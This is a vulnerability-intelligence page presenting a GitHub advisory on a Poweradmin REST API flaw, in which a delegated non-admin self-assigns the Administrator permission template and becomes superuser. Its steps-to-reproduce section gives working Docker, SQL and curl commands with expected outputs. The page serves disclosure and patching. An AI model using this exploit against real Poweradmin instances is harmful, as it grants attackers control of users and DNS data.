llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Packagist · poweradmin/poweradmin

GHSA-8G9P-FHX7-XG57

API PATCH perm_templ self-assignment lets a non-admin become superuser

Parche disponible
Descargar PNG JSON
CVSS 3.1
8.8
Alta
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche3 versiones4.2.6 · 4.3.5 · 4.4.1
Exposición78 dDesde la divulgación, 3 sept 2026, 11:40 p. m.
Detección76 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. Hay versiones corregidas disponibles.
Hmm… no me convence. Vigílala de cerquita.Ojo de llama: esto puede escalar.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada +1
4 sept 26
3 nov 26
19 nov 26
21 nov 26
4 sept 26
23 sept 26
13 oct 26
1 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8G9P-FHX7-XG57 divulgada · CVSS 8.8 (GitHub)
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

The REST API lets a non-superuser assign a permission template to a user without enforcing the rule the web UI enforces: a user editing their own account may not change their permission template unless they hold `user_edit_others`. Via the API, a delegated account holding `user_edit_templ_perm` (but not `user_edit_others` and not `user_is_ueberuser`) can `PATCH` its own user record to the built-in "Administrator" template and instantly become a full superuser (`user_is_ueberuser`). The web UI silently discards the identical change.

This is the sibling the 2026-07-24 fix for GHSA-h4hf-v6w5-897x https://github.com/poweradmin/poweradmin/security/advisories/GHSA-h4hf-v6w5-897x left open: that fix hardened the API user endpoint's password write and blocked editing a superuser *target*, but the `perm_templ` self-assignment path was not addressed, and the maintainers' own self-elevation guard (`de44a1e45` https://github.com/poweradmin/poweradmin/commit/de44a1e45, "gate perm_templ ... to prevent self-elevation") keys on `user_edit_templ_perm`, which the web treats as insufficient for self-retemplating.

Root Cause

The API path `PATCH /api/v1/users/{id}` → `assignPermissionTemplate()` authorizes with only two checks, then assigns any user-type template:

// lib/Application/Controller/Api/V1/UsersController.php:979-1000
if (!$this->apiPermissionService->canEditUser($currentUserId, $targetUserId)) {        // (1)
    return $this->returnApiError('You do not have permission to edit this user', 403);
}
if (!$this->apiPermissionService->canEditPermissionTemplates($currentUserId)) {         // (2)
    return $this->returnApiError('You do not have permission to edit permission templates', 403);
}
...
$result = $this->userManagementService->assignPermissionTemplate($targetUserId, $permTemplId);

For a self target both checks pass with ordinary self-service permissions:

// lib/Domain/Service/ApiPermissionService.php:383-384   (canEditUser)
if ($userId === $targetUserId && $this->userHasPermission($userId, 'user_edit_own')) {
    return true;
// lib/Domain/Service/ApiPermissionService.php:477-478   (canEditPermissionTemplates)
// User with user_edit_templ_perm can edit permission templates
return $this->userHasPermission($userId, 'user_edit_templ_perm');

and the domain service performs no privilege check — it only verifies the template exists and is user-type, which the built-in Administrator template (id 1, `template_type='user'`, carries `user_is_ueberuser`) satisfies:

// lib/Domain/Service/UserManagementService.php:549   (assignPermissionTemplate)
if (!$this->permissionTemplateExists($permTemplId, 'user')) {
    return ['success' => false, 'message' => 'Permission template not found', 'status' => 404];
}

The web gate it fails to mirror. In the web user editor, a self-editor without `user_edit_others` has the submitted template discarded and the existing one kept — regardless of `user_edit_templ_perm`:

// lib/Application/Controller/EditUserController.php:301-305
// If editing own profile and not an admin, maintain existing template
if ($isOwnProfile && !$canEditOthers) {                 // $canEditOthers = user_edit_others only
    $userData = $userData ?? $this->getUserDetails($editId);
    $permTempl = $userData['tpl_id'];                   // submitted perm_templ discarded
}

So the same account, performing the same self-retemplate, is denied by the web and granted superuser by the API.

Linkified sources (v4.4.0): V1 `assignPermissionTemplate` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Application/Controller/Api/V1/UsersController.php#L971-L1024, `canEditUser` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Domain/Service/ApiPermissionService.php#L371-L390, `canEditPermissionTemplates` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Domain/Service/ApiPermissionService.php#L470-L479, `UserManagementService::assignPermissionTemplate` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Domain/Service/UserManagementService.php#L537-L578, `EditUserController` self-template force https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Application/Controller/EditUserController.php#L301-L305, V2 `assignPermissionTemplate` https://github.com/poweradmin/poweradmin/blob/v4.4.0/lib/Application/Controller/Api/V2/UsersController.php#L970-L983 (same defect).

Steps to Reproduce

Prerequisites
  • Docker
  • The REST API is enabled (`api.enabled = true`; `PA_API_ENABLED=true` below). It is off by default but commonly enabled for automation (e.g. the Terraform provider).
  • A delegated non-admin role exists holding `user_edit_own` + `user_edit_templ_perm` (and `api_manage_keys` to self-service an API key). Step 2 provisions exactly such an account and issues it an API key, representing an admin having created a delegated "role/template manager".
Step 0: Set environment variables
export BASE="http://localhost:8080"
export APIKEY="pwa_0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef"
Step 1: Start Poweradmin at the latest release
docker run --name pa-poc -p 8080:80 \
  -e DB_TYPE=sqlite \
  -e PA_CREATE_ADMIN=1 -e PA_ADMIN_USERNAME=admin -e PA_ADMIN_PASSWORD=admin \
  -e PA_API_ENABLED=true \
  poweradmin/poweradmin:latest

Open a new terminal for the remaining steps.

Step 2: Provision a delegated non-admin role-manager and its automation API key

`perm_items` ids: `56 = user_edit_own`, `59 = user_edit_templ_perm`, `65 = api_manage_keys`. The account gets none of `user_edit_others` (57) or `user_is_ueberuser` (53).

ATTACKER_HASH=$(docker exec pa-poc php -r 'echo password_hash("RmgrPass1", PASSWORD_DEFAULT);')
docker exec -i pa-poc sqlite3 /db/pdns.db <<EOF
INSERT INTO perm_templ (id,name,descr,template_type) VALUES (20,'RoleManager','Delegated role: assign templates + manage own API keys','user');
INSERT INTO perm_templ_items (templ_id,perm_id) VALUES (20,56),(20,59),(20,65);
INSERT INTO users (id,username,password,fullname,email,description,perm_templ,perm_templ_source,active,use_ldap,auth_method)
 VALUES (2,'rmgr','$ATTACKER_HASH','Role Manager','rmgr@example.com','',20,'admin',1,0,'sql');
INSERT INTO api_keys (name,secret_key,created_by,disabled)
 VALUES ('automation','$APIKEY',2,0);
EOF
Step 3: Confirm the account is a non-admin (before)
curl -X GET -H "X-API-Key: $APIKEY" "$BASE/api/v1/users/2"

Expected output:

{"success":true,"data":{"user_id":2,"username":"rmgr","fullname":"Role Manager","email":"rmgr@example.com","description":"","active":true,"is_admin":false,"permissions":["api_manage_keys","user_edit_own","user_edit_templ_perm"],"created_at":null,"updated_at":null},"message":"User information retrieved successfully","meta":{"timestamp":"..."}}
Step 4: Exploit — self-assign the Administrator template (id 1)
curl -X PATCH -H "X-API-Key: $APIKEY" -H "Content-Type: application/json" \
  -d '{"perm_templ":1}' "$BASE/api/v1/users/2"

Expected output:

{"success":true,"data":{"user_id":2,"perm_templ":1},"message":"Permission template assigned successfully","meta":{"timestamp":"..."}}
Step 5: Verify — the account is now a superuser
curl -X GET -H "X-API-Key: $APIKEY" "$BASE/api/v1/users/2"

Expected output (was `"is_admin":false` with three delegated perms; now full superuser):

{"success":true,"data":{"user_id":2,"username":"rmgr","fullname":"Role Manager","email":"rmgr@example.com","description":"","active":true,"is_admin":true,"permissions":["user_is_ueberuser"],"created_at":null,"updated_at":null},"message":"User information retrieved successfully","meta":{"timestamp":"..."}}
Step 6: Confirm full admin — list every user (an action gated on superuser)
curl -X GET -H "X-API-Key: $APIKEY" "$BASE/api/v1/users"

Expected output (the account can now enumerate all users, including the administrator — impossible before Step 4):

{"success":true,"data":[{"user_id":1,"username":"admin","fullname":"Administrator","email":"admin@example.com","description":"System Administrator","active":true,"zone_count":0,"is_admin":true},{"user_id":2,"username":"rmgr","fullname":"Role Manager","email":"rmgr@example.com","description":"","active":true,"zone_count":0,"is_admin":true}],"message":"Users retrieved successfully","meta":{"timestamp":"..."}}

By contrast, the same account submitting `perm_templ=1` for its own record through the web user editor (`POST /users/2/edit`) leaves `users.perm_templ` unchanged, because `EditUserController` discards a self-editor's template when the caller lacks `user_edit_others` (lines 301-305 above).

Suggested Fix

Mirror the web rule on every API user-write path: a caller may set/assign a `perm_templ` for a target that is themselves only when they hold `user_edit_others` (as `EditUserController` requires), and never let a non-superuser assign a template that grants `user_is_ueberuser`. Concretely: in `assignPermissionTemplate` (V1 and V2), reject when `callerId === targetId && !user_edit_others`, and reject assignment of any template whose items include `user_is_ueberuser` unless the caller is already a superuser.

Cleanup

docker rm -f pa-poc

Impact

An authenticated non-administrator escalates to full Poweradmin superuser (`user_is_ueberuser`) with a single API request against their own account, no interaction and no knowledge of any other credential. From superuser the attacker controls every user, zone, record and setting, and thereby the DNS data PowerDNS serves.

Preconditions: the REST API is enabled, and the attacker holds a delegated role with `user_edit_templ_perm` (a "role/template manager") plus an API key for their own account. This is the same shape of precondition as the accepted sibling advisory GHSA-h4hf-v6w5-897x (API enabled + a delegated user-management role), and the API is documented as intended for automation. The defect is in the authorization model itself: the API grants a self-service capability (`user_edit_templ_perm`) more authority than the web UI, which deliberately forbids a non-`user_edit_others` user from retemplating their own account.

Split note: this advisory originally also covered the PUT path, where `PermissionTemplateAssignmentGuard` let any caller with `user_edit_templ_perm` assign any template. That is fixed independently and is now tracked as GHSA-6wjj-2g3x-78g8 so each can get its own CVE ID.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:L
BajaAlta
PrivilegiosPR:L
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
8.3/ 10Alto
Vector 8.3 (muy fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida
poweradmin/poweradmin≥ 4.0.0 < 4.2.6
poweradmin/poweradmin≥ 4.3.0 < 4.3.5
poweradmin/poweradmin≥ 4.4.0 < 4.4.1
4.0.0
4.2.6
4.3.0
4.3.5
4.4.0
4.4.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistpoweradmin/poweradmin
Corregida 4.2.6, 4.3.5, 4.4.1 — —
Versiones corregidas4.2.64.3.54.4.1
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/poweradmin/poweradmin/security/advisories/GHSA-8g9p-fhx7-xg57

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.